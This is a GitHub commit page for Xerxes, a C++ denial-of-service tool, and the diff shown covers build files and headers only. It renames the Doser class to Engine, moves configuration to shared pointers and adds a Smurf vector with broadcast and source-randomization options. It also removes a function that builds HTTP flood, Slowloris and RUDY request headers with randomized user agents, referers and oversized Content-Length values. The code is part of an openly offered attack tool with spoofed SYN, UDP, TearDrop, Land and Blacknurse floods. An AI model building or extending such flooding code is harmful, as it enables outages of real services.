Skip to content

Commit 74c1521

Browse files
authored
Merge pull request #28 from sepehrdaddev/experimental
Experimental
2 parents 1f39719 + f70e734 commit 74c1521

34 files changed

+582
-450
lines changed

.travis.yml

-1
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,6 @@ script: make
1313
# blocklist
1414
branches:
1515
except:
16-
- experimental
1716

1817
# safelist
1918
branches:

CMakeLists.txt

+2-2
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@ cmake_minimum_required(VERSION 2.9)
22

33
project(Xerxes)
44

5-
set(CMAKE_CXX_STANDARD 11)
5+
set(CMAKE_CXX_STANDARD 14)
66

77
find_package(PkgConfig REQUIRED)
88
pkg_search_module(OPENSSL REQUIRED openssl)
@@ -14,7 +14,7 @@ endif()
1414
set(CMAKE_FIND_LIBRARY_SUFFIXES ".a")
1515
set(BUILD_SHARED_LIBRARIES OFF)
1616
set(CMAKE_EXE_LINKER_FLAGS "-static -Wl,--whole-archive -lpthread -Wl,--no-whole-archive")
17-
add_executable(Xerxes main.cpp Headers/Configuration.hpp Sources/Doser.cpp Headers/Doser.hpp Sources/Validator.cpp Headers/Validator.hpp Sources/Parser.cpp Headers/Parser.hpp Sources/Logger.cpp Headers/Logger.hpp Sources/ICMP_Flood.cpp Headers/ICMP_Flood.hpp Headers/Attack_Vectors.hpp Headers/Randomizer.hpp Sources/Null_Flood.cpp Headers/Null_Flood.hpp Sources/Slowloris.cpp Headers/Slowloris.hpp Sources/Http_Flood.cpp Headers/Http_Flood.hpp Sources/Spoofed_Flood.cpp Headers/Spoofed_Flood.hpp Sources/Spoofed_TCP_Flood.cpp Headers/Spoofed_TCP_Flood.hpp Sources/Spoofed_UDP_Flood.cpp Headers/Spoofed_UDP_Flood.hpp Sources/Attack_Vector.cpp Headers/Attack_Vector.hpp Headers/Version.hpp Sources/Beast.cpp Headers/Beast.hpp)
17+
add_executable(Xerxes main.cpp Headers/Configuration.hpp Sources/Engine.cpp Headers/Engine.hpp Sources/Validator.cpp Headers/Validator.hpp Sources/Parser.cpp Headers/Parser.hpp Sources/Logger.cpp Headers/Logger.hpp Sources/ICMP_Flood.cpp Headers/ICMP_Flood.hpp Headers/Attack_Vectors.hpp Headers/Randomizer.hpp Sources/Null_Flood.cpp Headers/Null_Flood.hpp Sources/Slowloris.cpp Headers/Slowloris.hpp Sources/Http_Flood.cpp Headers/Http_Flood.hpp Sources/Spoofed_Flood.cpp Headers/Spoofed_Flood.hpp Sources/Spoofed_TCP_Flood.cpp Headers/Spoofed_TCP_Flood.hpp Sources/Spoofed_UDP_Flood.cpp Headers/Spoofed_UDP_Flood.hpp Sources/Attack_Vector.cpp Headers/Attack_Vector.hpp Headers/Version.hpp Sources/Beast.cpp Headers/Beast.hpp)
1818
target_link_libraries(Xerxes ${OPENSSL_LIBRARIES})
1919
target_link_libraries(Xerxes ${CMAKE_DL_LIBS})
2020
add_custom_command(TARGET Xerxes POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_SOURCE_DIR}/useragents ${CMAKE_CURRENT_BINARY_DIR}/useragents)

Headers/Attack_Vector.hpp

+3-3
Original file line numberDiff line numberDiff line change
@@ -11,12 +11,12 @@ class Attack_Vector {
1111

1212
public:
1313
Attack_Vector() = default;
14-
Attack_Vector(const config *conf, Logger *logger);
14+
explicit Attack_Vector(std::shared_ptr<Config> config);
1515
virtual void run();
16+
virtual ~Attack_Vector() = default;
1617

1718
protected:
18-
const config *conf;
19-
Logger *logger;
19+
std::shared_ptr<Config> conf;
2020
virtual void pause();
2121

2222
private:

Headers/Beast.hpp

+1-1
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77

88
class Beast : public Attack_Vector {
99
public:
10-
Beast(const config *conf, Logger *logger);
10+
explicit Beast(std::shared_ptr<Config> conf);
1111

1212
private:
1313
#define FL_PEER_WANT_NEXT_STATE (0x04)

Headers/Configuration.hpp

+10-4
Original file line numberDiff line numberDiff line change
@@ -3,26 +3,32 @@
33

44
#include <string>
55
#include <vector>
6+
#include <memory>
67

78
#include "Version.hpp"
9+
#include "Logger.hpp"
810

9-
struct config{
11+
struct Config{
1012
enum Vector{NullTCP, NullUDP, TCPFlood, UDPFlood, HTTP, Slowloris, ICMPFlood, SpoofedUDP,
1113
SpoofedSyn, SpoofedAck, SpoofedRST, SpoofedPUSH, SpoofedURG, SpoofedFin, Rudy, Blacknurse,
12-
Beast, TearDrop, Land};
13-
enum Protocol{TCP, UDP};
14+
Beast, TearDrop, Land, Smurf};
15+
enum Protocol{TCP = 1, UDP};
1416
Protocol protocol{TCP};
1517
Vector vector{NullTCP};
1618
std::string website{};
1719
std::string port{"1"};
18-
std::vector<std::string> useragents{"Wget/1.16 (linux-gnu/Xerxes)"};
20+
std::string broadcast{};
1921
int THREADS{10};
2022
int CONNECTIONS{25};
2123
bool GetResponse{false};
2224
bool RandomizeUserAgent{false};
2325
bool RandomizeHeader{false};
2426
bool UseSSL{false};
27+
bool RandomizeSource{false};
28+
bool RandomizePort{false};
2529
int delay{0};
30+
const std::unique_ptr<Logger> logger = std::make_unique<Logger>(Logger::Warning);
31+
const std::unique_ptr<std::vector<std::string>> useragents = std::make_unique<std::vector<std::string>>();
2632

2733
};
2834

Headers/Doser.hpp Headers/Engine.hpp

+3-4
Original file line numberDiff line numberDiff line change
@@ -4,14 +4,13 @@
44
#include "Configuration.hpp"
55
#include "Logger.hpp"
66

7-
class Doser {
7+
class Engine {
88
public:
9-
Doser(config *conf, Logger *logger);
9+
explicit Engine(std::shared_ptr<Config> conf);
1010
void run();
1111

1212
private:
13-
config *conf;
14-
Logger *logger;
13+
std::shared_ptr<Config> conf;
1514

1615
};
1716

Headers/Http_Flood.hpp

+3-1
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ class Http_Flood : public Attack_Vector {
1313
friend class Null_Flood;
1414
public:
1515
Http_Flood () = default;
16-
Http_Flood (const config *conf, Logger *logger);
16+
explicit Http_Flood (std::shared_ptr<Config> conf);
1717
void run() override;
1818

1919
private:
@@ -29,6 +29,8 @@ class Http_Flood : public Attack_Vector {
2929
int write_socket(int socket, const char* string, int length);
3030
int write_socket(SSL *ssl, const char* string, int length);
3131
const SSL_METHOD *GetMethod();
32+
virtual void init_header(std::string& header);
33+
virtual void init_header(std::string& header, bool);
3234
};
3335

3436

Headers/ICMP_Flood.hpp

+1-1
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55

66
class ICMP_Flood : public Spoofed_Flood {
77
public:
8-
ICMP_Flood(const config *conf, Logger *logger);
8+
explicit ICMP_Flood(std::shared_ptr<Config> conf);
99

1010
private:
1111
void attack(const int *id) override;

Headers/Null_Flood.hpp

+1-1
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77

88
class Null_Flood : public Http_Flood {
99
public:
10-
Null_Flood(const config *conf, Logger *logger);
10+
explicit Null_Flood(std::shared_ptr<Config> conf);
1111

1212
private:
1313
void attack(const int *id) override;

Headers/Parser.hpp

+11-5
Original file line numberDiff line numberDiff line change
@@ -1,23 +1,29 @@
11
#ifndef XERXES_PARSER_H
22
#define XERXES_PARSER_H
33

4+
#include <string>
5+
#include <memory>
6+
#include <map>
7+
#include <functional>
8+
49
#include "Configuration.hpp"
5-
#include "Doser.hpp"
10+
#include "Engine.hpp"
611
#include "Validator.hpp"
712

813
class Parser {
914
public:
1015
void parse_commandline(int argc, const char *argv[]);
1116
Parser();
12-
Parser(config *conf, Logger *logger);
17+
explicit Parser(std::shared_ptr<Config> conf);
1318
static void help();
1419
static void show_banner();
1520

1621
private:
17-
config *conf;
18-
Logger *logger;
19-
void getUserAgents();
22+
std::shared_ptr<Config> conf;
2023
void check_root();
24+
void getUserAgents();
25+
void init_arguments();
26+
std::map<std::string, std::function<void(std::string&)>> arguments;
2127
};
2228

2329

Headers/README.md

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
<img align="left" width="100" height="100" src="../XerxesTheGreat.jpg">
2+
3+
# Xerxes
4+
Xerxes Dos Tool Rewritten in C++
5+
6+
This Directory contains of all header files for Xerxes Project

Headers/Randomizer.hpp

+35-85
Original file line numberDiff line numberDiff line change
@@ -44,91 +44,41 @@ namespace Randomizer{
4444
return vec[randomInt(0, static_cast<int>(vec.size()) -1)];
4545
}
4646

47-
static const std::string randomPacket(const config *conf, bool keep_alive=false){
48-
std::string packet{};
49-
std::vector<std::string> encoding{"\'\'", "*", "identity", "gzip", "deflate"};
50-
std::vector<std::string> caching{"no-cache", "max-age=0"};
51-
std::vector<std::string> charset{"ISO-8859-1", "utf-8", "Windows-1251", "ISO-8859-2", "ISO-8859-15"};
52-
std::vector<std::string> contenttype{"multipart/form-data", "application/x-url-encoded"};
53-
std::vector<std::string> methods{"GET", "HEAD"};
54-
std::vector<std::string> referer{"https://www.google.com/", "https://www.yahoo.com/", "https://www.bing.com/",
55-
"https://twitter.com/", "https://www.facebook.com/", "https://www.msn.com/",
56-
"https://www.youtube.com/", "https://yandex.com/", "https://www.amazon.com/"};
57-
switch(conf->vector){
58-
case config::UDPFlood:
59-
case config::TCPFlood:
60-
return randomstr();
61-
case config::HTTP:{
62-
packet += randomize_Vector(methods) + " /";
63-
if(conf->RandomizeHeader){
64-
packet += randomstr();
65-
}
66-
packet += " HTTP/1.0\r\nUser-Agent: "
67-
+ (conf->RandomizeUserAgent ? randomize_Vector(conf->useragents): conf->useragents[0])
68-
+" \r\nCache-Control: " + randomize_Vector(caching)
69-
+ " \r\nAccept-Encoding: " + randomize_Vector(encoding)
70-
+ " \r\nAccept-Charset: " + randomize_Vector(charset) + ", " + randomize_Vector(charset)
71-
+ " \r\nReferer: " + randomize_Vector(referer)
72-
+ " \r\nAccept: */*\r\nConnection: Keep-Alive"
73-
+ " \r\nContent-Type: " + randomize_Vector(contenttype)
74-
+ " \r\nCookie: " + randomstr() + "=" + randomstr()
75-
+ " \r\nKeep-Alive: " + std::to_string(randomInt(1, 5000))
76-
+ " \r\nDNT: " + std::to_string(randomInt(0, 1))
77-
+ "\r\n\r\n";
78-
return packet;
79-
}
80-
case config::Slowloris:{
81-
if(keep_alive){
82-
packet += "X-a: "
83-
+ std::to_string(randomInt(1, 5000))
84-
+ " \r\n";
85-
}else{
86-
packet += randomize_Vector(methods) + " /";
87-
if(conf->RandomizeHeader){
88-
packet += randomstr();
89-
}
90-
packet += " HTTP/1.0\r\nUser-Agent: "
91-
+ (conf->RandomizeUserAgent ? randomize_Vector(conf->useragents): conf->useragents[0])
92-
+ " \r\nCache-Control: " + randomize_Vector(caching)
93-
+ " \r\nAccept-Encoding: " + randomize_Vector(encoding)
94-
+ " \r\nAccept-Charset: " + randomize_Vector(charset) + ", " + randomize_Vector(charset)
95-
+ " \r\nReferer: " + randomize_Vector(referer)
96-
+ " \r\nContent-Type: " + randomize_Vector(contenttype)
97-
+ " \r\nCookie: " + randomstr() + "=" + randomstr()
98-
+ " \r\nAccept: */*"
99-
+ " \r\nDNT: " + std::to_string(randomInt(0, 1))
100-
+ " \r\nX-a: " + std::to_string(randomInt(1, 5000))
101-
+ " \r\n";
102-
}
103-
return packet;
104-
}
105-
case config::Rudy:{
106-
if(keep_alive){
107-
packet += randomstr();
108-
}else{
109-
packet += "POST /";
110-
if(conf->RandomizeHeader){
111-
packet += randomstr();
112-
}
113-
packet += " HTTP/1.0\r\nUser-Agent: "
114-
+ (conf->RandomizeUserAgent ? randomize_Vector(conf->useragents): conf->useragents[0])
115-
+ " \r\nCache-Control: " + randomize_Vector(caching)
116-
+ " \r\nAccept-Encoding: " + randomize_Vector(encoding)
117-
+ " \r\nAccept-Charset: " + randomize_Vector(charset) + ", " + randomize_Vector(charset)
118-
+ " \r\nReferer: " + randomize_Vector(referer)
119-
+ " \r\nContent-Type: " + randomize_Vector(contenttype)
120-
+ " \r\nContent-Length: " + std::to_string(randomInt(100000000, 1000000000))
121-
+ " \r\nCookie: " + randomstr() + "=" + randomstr()
122-
+ " \r\nAccept: */*"
123-
+ " \r\nDNT: " + std::to_string(randomInt(0, 1))
124-
+ " \r\nX-a: " + std::to_string(randomInt(1, 5000))
125-
+ " \r\n";
126-
}
127-
return packet;
128-
}
129-
default:
130-
return "";
131-
}
47+
static const std::string random_referer(){
48+
static std::vector<std::string> referer{
49+
"https://www.google.com/", "https://www.yahoo.com/", "https://www.bing.com/",
50+
"https://twitter.com/", "https://www.facebook.com/", "https://www.msn.com/",
51+
"https://www.youtube.com/", "https://yandex.com/", "https://www.amazon.com/"};
52+
return randomize_Vector(referer);
53+
}
54+
55+
static const std::string random_useragent(const std::vector<std::string> &useragents){
56+
return randomize_Vector(useragents);
57+
}
58+
59+
static const std::string random_encoding(){
60+
static std::vector<std::string> encoding{"\'\'", "*", "identity", "gzip", "deflate"};
61+
return randomize_Vector(encoding);
62+
}
63+
64+
static const std::string random_caching(){
65+
static std::vector<std::string> caching{"no-cache", "max-age=0"};
66+
return randomize_Vector(caching);
67+
}
68+
69+
static const std::string random_charset(){
70+
static std::vector<std::string> charset{"ISO-8859-1", "utf-8", "Windows-1251", "ISO-8859-2", "ISO-8859-15"};
71+
return randomize_Vector(charset);
72+
}
73+
74+
static const std::string random_contenttype(){
75+
static std::vector<std::string> contenttype{"multipart/form-data", "application/x-url-encoded"};
76+
return randomize_Vector(contenttype);
77+
}
78+
79+
static const std::string random_method(){
80+
static std::vector<std::string> methods{"GET", "HEAD"};
81+
return randomize_Vector(methods);
13282
}
13383
}
13484

Headers/Slowloris.hpp

+2-1
Original file line numberDiff line numberDiff line change
@@ -8,11 +8,12 @@
88

99
class Slowloris : public Http_Flood {
1010
public:
11-
Slowloris(const config *conf, Logger *logger);
11+
explicit Slowloris(std::shared_ptr<Config> conf);
1212

1313
private:
1414
void attack(const int *id) override;
1515
void attack_ssl(const int *id) override;
16+
void init_header(std::string& header, bool keep_alive) override;
1617
};
1718

1819

Headers/Spoofed_Flood.hpp

+1-1
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ class Spoofed_Flood : public Attack_Vector {
1818

1919
public:
2020
Spoofed_Flood() = default;
21-
Spoofed_Flood(const config *conf, Logger *logger);
21+
explicit Spoofed_Flood(std::shared_ptr<Config> conf);
2222

2323
private:
2424
unsigned short csum(unsigned short *buf, int len);

Headers/Spoofed_TCP_Flood.hpp

+1-1
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55

66
class Spoofed_TCP_Flood : public Spoofed_Flood {
77
public:
8-
Spoofed_TCP_Flood(const config *conf, Logger *logger);
8+
explicit Spoofed_TCP_Flood(std::shared_ptr<Config> conf);
99

1010
private:
1111
void attack(const int *id) override;

Headers/Spoofed_UDP_Flood.hpp

+1-1
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55

66
class Spoofed_UDP_Flood : public Spoofed_Flood {
77
public:
8-
Spoofed_UDP_Flood(const config *conf, Logger *logger);
8+
explicit Spoofed_UDP_Flood(std::shared_ptr<Config> conf);
99

1010
private:
1111
void attack(const int *id) override;

Headers/Validator.hpp

+3-2
Original file line numberDiff line numberDiff line change
@@ -7,15 +7,16 @@ class Validator {
77
public:
88
Validator();
99

10-
explicit Validator(const config *conf);
10+
explicit Validator(std::shared_ptr<Config> conf);
1111
bool Validate();
1212
static bool isValidNumber(char const *num);
1313
private:
14-
const config *conf;
14+
std::shared_ptr<Config> conf;
1515
bool isValidWebsite();
1616
bool isValidPort();
1717
bool isValidConfig();
1818
bool isValidHostname();
19+
bool isValidBroadcast();
1920
};
2021

2122

Headers/Version.hpp

+1-1
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33

44

55
#define VERSION_MAJOR 1
6-
#define VERSION_MINOR 2
6+
#define VERSION_MINOR 3
77

88

99
#define BUILD_YEAR_CH0 (__DATE__[ 7])

0 commit comments

Comments
 (0)